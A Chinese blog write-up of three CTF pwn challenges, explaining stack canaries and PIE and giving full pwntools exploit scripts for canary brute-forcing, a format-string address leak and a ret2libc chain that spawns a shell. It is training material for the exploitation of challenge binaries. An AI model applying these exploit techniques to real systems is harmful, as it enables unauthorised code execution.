Canary、Pie保护

什么是canary、pie?

Canary

Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。
canary是一种用来防护栈溢出的保护机制。其原理是在一个函数的入口处,先从fs/gs寄存器中获取一个值,一般存到EBP - 0x4(32位)或RBP - 0x8(64位)的位置。当函数结束时会检查这个栈上的值是否和存进去的值一致,若一致则正常退出,如果是栈溢出或者其他原因导致canary的值发生变化,那么程序将执行___stack_chk_fail函数,继而终止程序。

Pie

顾名思义,就是地址每次运行时随机的,因为我们覆盖返回地址,那你得知道我们要执行的代码要去哪对吧,所以你要知道shellcode的地址,那你开地址随机化,你不就没办法知道了吗?具体来说就是ida中只给你地址的后三位数字,然后程序运行的时候会随机出一个程序基地址,然后程序基地址后三位是0,这样两个相加就是真实地址了

例一(canary爆破)

开启NX,32位,动态编译,IDA分析:

初步判断这题有后门

点进global_canary

可以看到,它是一个四字节的bss段地址,函数开头将其赋值给s1

继续分析主函数,循环读入数据给v2,下面还嵌套了一个判断语句,判断的是如果读入的数据为回车就结束这次循环,可以理解为如果我们不读入数据它就会结束本次循环继续进行下一次循环直到循环结束

循环结束后又将v2以数字形式复制给nbytes,随后读入nbytes个字节的数据给buf,这里控制nbytes的值即可栈溢出,查看一下buf变量距离栈底的距离

可以看到buf距离栈底0x30个字节,但中间会覆盖掉s1的值

最后一个判断语句,判断s1与global_canary的值是否相同

至此分析完,可以初步判断出这是一个模拟canary的题,并且我们可以进行栈溢出

解题思路大致如下;

本题并不是真正意义上的canary,因为它的canary值是一直不变的,那我们就可以进行爆破得到canary的值,而在前面输入v2值的时候可以输入一个较大的数,这样就到后面就可以栈溢出,在覆盖v2值的时候我们进行爆破,得出canary的值,随后就是简单的栈溢出返回后门

实操如下:

首先,我们需要编写一个爆破canary的循环语句:

这个脚本只能一个字节一个字节的爆破,因此我们要手动调试几次,很巧妙的利用了报错,如果报错就继续下一次循环,不报错就停止循环

因此,我们开始一个字节一个字节的爆破:

随后我们再进行三次调试。将剩下的三个字节全部爆破:

接下来就可以直接栈溢出返回后门函数获取权限了^o^y

脚本奉上:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn1")
elf=ELF("./pwn1")
def bug():
        gdb.attach(p)
        pause()
flag=0x8048696
'''
for i in range(255):
                 p=process("./pwn1")
                 p.recvuntil("How many bytes do you want to write to the buffer?\n>")
                 p.sendline(str(0xff))
                 p.recvuntil("$ ")
                 pay=b'a'*0x20+b'\x63\x6a\x77\x36'+p8(i)
                 p.send(pay)
                 buf=p.recvall()
                 if b'Error *** Stack Smashing Detected *** : Canary Value Incorrect!\n' in buf:
                               p.close()
                               continue
                 else:
                               print(hex(i))
                               break
'''
p.recvuntil("How many bytes do you want to write to the buffer?\n>")
p.sendline(str(0xff))
p.recvuntil("$ ")
pay=b'a'*(32)+b'\x63\x6a\x77\x36'+p32(0)*4+p32(flag)
bug()
p.send(pay)
p.interactive()       

例二(pie,格式化字符串漏洞)

NX、Pie保护,64位,动态编译,IDA分析:

简单分析就是让我们进行选择,然后会根据我们的选择进入不同的函数,分别点进去康康;

一个读入函数,可以栈溢出但是只能填写一个返回地址,一下子想到了栈迁移,但是后来发现这题不用栈迁移,这题有后门,可以直接返回到后门

读入函数没有栈溢出,但是printf函数存在格式化字符串漏洞,可以泄露地址求基址

这边发现xi_an里啥都没有

但是查看一下汇编代码发现藏后门了(出题人大大滴坏(╯°□°)╯︵ ┻━┻)

大致思路:

先选择2,通过格式化字符串漏洞泄露地址求出基址,然后选择1,栈溢出返回后门获取权限

实操:

通过调试查看gab,我们可以通过printf泄露出main函数

这个%11$p是如何得知的呢,这就需要调试,如果你将11改成10就会发现泄露的是main+181地址上面的那个

再通过计算求出基址,返回main函数选择1,栈溢出返回后门地址获取权限,这里因为开启了pie,后门函数system的地址要加pie基址

附上脚本:

from pwn import *
context(log_level='debug',os='linux',arch='amd64')
#p=remote("node4.buuoj.cn",29608)
p=process("./pwn2")
elf=ELF("./pwn2")
def bug():
	gdb.attach(p)
	pause()
pay=b'2'
p.send(pay)

pay=b'%11$p'
#bug()
p.send(pay)

p.recvuntil("0x")
a=int(p.recv(12),16)
print(hex(a))

pie_base=a-181-0x12eb
print(hex(pie_base))

system=0x129A+pie_base
print(hex(system))
p.recvuntil('Your choice :')
pay=b'1'
#bug()
p.send(pay)
p.recvuntil('Welcome to Huashan_Mountain')
pay=b'a'*(0x20+8)+p64(system)

p.send(pay)

p.interactive()

例三(canary&pie)

重难点来啦!!!

保护全开,64位,动态编译,IDA分析:

首先引入种子并赋值给v3变量,随后生成随机数(即canary)

又定义了一个循环,循环里面的内容大体是:

如果i=15,就会进入readint函数对v5变量进行赋值,如果i!=15,则生成两个五位数以下的随机数(取模10000),随后打印一段数据,执行程序看看是什么:

看起来像是要我们去计算两个随机变量的和,继续往下看,又定义了一个判断语句,判断两个随机变量v7、v8的和是否等于v5的后四个字节,如果相等,则将1赋值给v5的高四位

这里插播一条知识点

(注意到v5的前面跟了一串大写字母了嘛,还有我分析的,什么v5的后四位,v5的高四位,新手看起来是不是开始懵逼了,同样的,我第一次见的时候也很懵,后来有大佬相助,才明白过来)

这里的WORD是字节的意思,而D是double,即双倍,这里的double不是双精度浮点型的意思哦,合起来就是v5的后四个字节,补充一下,QWORD是后八个字节的意思

HIDWORD,可以拆分为,HI   DWORD,DWORD大家都懂了,HI就是high的缩写,合起来意思就是高四位,举个栗子,如果v5=0x1020304050607080,那么v5的高四位就是0x10203040,也可以简单理解为前四个字节,低四位就是LODWORD

下面继续解题:

后面又打印了一段数据,看看是什么:

可以看到,如果我随意输入一个数,程序就会停止运行,这是为什么呢?

让我们再往下看,在循环语句的最后,程序又定义了一个判断语句,判断v5的高四位是否非0,如果非0则循环继续,如果v5的高四位为0,则程序停止运行

在循环结束后,程序会进入gift函数,同时将最后一次读入的v5变量取模0x500后作为形参赋给gift

初步分析就到这里了,接下来我们看看内置函数:

进入readint函数分析:

将随机生成的canary的值赋值给v2变量,随后又进入readstr函数,对nptr进行赋值,最后将nprt的值从字符串转化为长整数型返回给readint()

让我们再进入readstr函数看看:

先将随机生成的canary赋值给v5变量,循环语句里嵌套了两个判断语句,第一个判断语句让我们读入了一个字节的数据,并判断是否大于0,小于等于0就停止运行程序,第二个判断语句判断我们读入的buf是否为10,即回车,如果是,则将buf的值修改为0,两个判断结束后将buf的值赋值给a1即nptr,这里有一点值得注意的是,IDA对readstr函数的反编译是错误的,它误把a1变量当成了一个数组,因此多了一个循环语句,其实这个循环语句不用分析的,最后return的作用是判断v5变量的值即canary是否改变,若改变则程序停止运行,这个函数的作用简单来说就是读入一个数据给nptr

返回readint函数的时候又将nptr转换数据类型之后赋值给v5

总结下来,readint函数的作用就是让我们输入一个数字赋值给v5

接下来我们看看gift函数:

非常简单,将v5取模后的值赋值给a1变量,又把canary的值赋值给v2变量,a1作为write打印v2里数据的字节与read函数的读入到v2的字节,细心的朋友这时候已经想到这题的做法了,接下来让博猪为大家分析一波这题的解题思路吧!

思路如下:

首先,我们需要在前十五次循环中进行简单的计算求和,使程序能够继续运行下去,在最后一次循环时,我们只需要控制v5的高四位不为0,即可进入gift函数,随后gift函数会泄露出部分地址,我们可以借此泄露canary,并计算出pie基址与libc基址,然后在后面的read函数只要我们前面输入的v5取模后的值够大,我们就可以栈溢出控制程序,使用libc的方法获取权限。

下面实操一手吧:

首先,我编写了一段接收代码,将每次生成的随机数v7、v8接收,然后再求和,将求和之后的数值赋给一个新的变量读入

这里因为程序循环了十六次,因此我加了个for循环

接下来我们需要读入一个高四位不为0的字符串(atol函数会将字符串转化为数字),我取的是10000000000000这样输入之后我们进入gift函数能泄露与读入的字节(a1)就变的很大

随后我们进入gift函数,就可以从v2开始泄露数据,这里顺便提一嘴,一般情况下,canary的最后两位为0;因为gift函数的开头将canary的数值赋给了v2,因此我们泄露的第一个地址即为canary,在gdb里查看一下我们能泄露的地址是哪些:

可以看到除了canary,我们第一个泄露的就是main函数的pie地址加上323,因此我们可以接收这个地址,再减去main函数的pie偏移,即可得到本题的pie基址,同时我们可以看到下面还有一个libc_start_call_main地址,我们可以通过它求出libc_start_main的地址,以此求出libc基址,因为两个地址中间还有一堆垃圾数据,我用了比较笨的方法,将它们全部接收,后面会给大家介绍简便的接收方式,下面先看我的做法:

现在我们libc基址,pie基址,canary都有了,我们的“武器”就多了,这里我选择使用libc的方法做:

脚本附上:

from pwn import *
context(log_level='debug',os='linux',arch='amd64')
#p=remote("node4.buuoj.cn",29608)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p=process("./chall")
elf=ELF("./chall")
def bug():
	gdb.attach(p)
	pause()
for i in range(15):
	p.recvuntil("] ")
	v7=int(p.recv(5),10)
	print(v7)
	p.recvuntil("+ ")
	v8=int(p.recv(5),10)
	print(v8)
	v5=str(0x10ffffffff)
	p.recvuntil("? ")
	p.sendline(v5)
p.recvuntil("? ")
v4=str(10000000000000)
bug()
p.sendline(v4)
canary=u64(p.recv(8))
print(hex(canary))
rbp=u64(p.recv(8))
print(hex(rbp))
pie_base=u64(p.recv(8))-229-94-0x1547
print(hex(pie_base))
a=u64(p.recv(8))
print(hex(a))
b=u64(p.recv(8))
print(hex(b))
c=u64(p.recv(8))
print(hex(c))
d=u64(p.recv(8))
print(hex(d))
e=u64(p.recv(8))
print(hex(e))
__libc_start_main=u64(p.recv(8))+176-128
print(hex(__libc_start_main))
libc_base=__libc_start_main-libc.sym["__libc_start_main"]
print(hex(libc_base))
system=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search(b"/bin/sh\x00").__next__()
rdi=0x0000000000001713+pie_base
pay=p64(canary)*2+p64(rdi)+p64(bin_sh)+p64(rdi+1)+p64(system)
p.send(pay)
p.interactive()

以上均为我自己做题时的方法

后来我发现一个漏洞

在前面的算术题那块,我们其实可以不用算,认真观察一下你会发现,其实v5的值是否与v7+v8的值相等都不会造成程序停止运行,真正的罪魁祸首在下面的那个判断语句,即判断!HIDWORD(v5)是否等于0,因此我们可以在每次输入的时候都输入一个高四位不为0的数,即可绕过计算:

这样我们也可以获取权限:

好啦,本期到此就结束啦,喜欢的孢子们可以点个关注,下期更精彩!↖(^0^)↗

  • 24
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值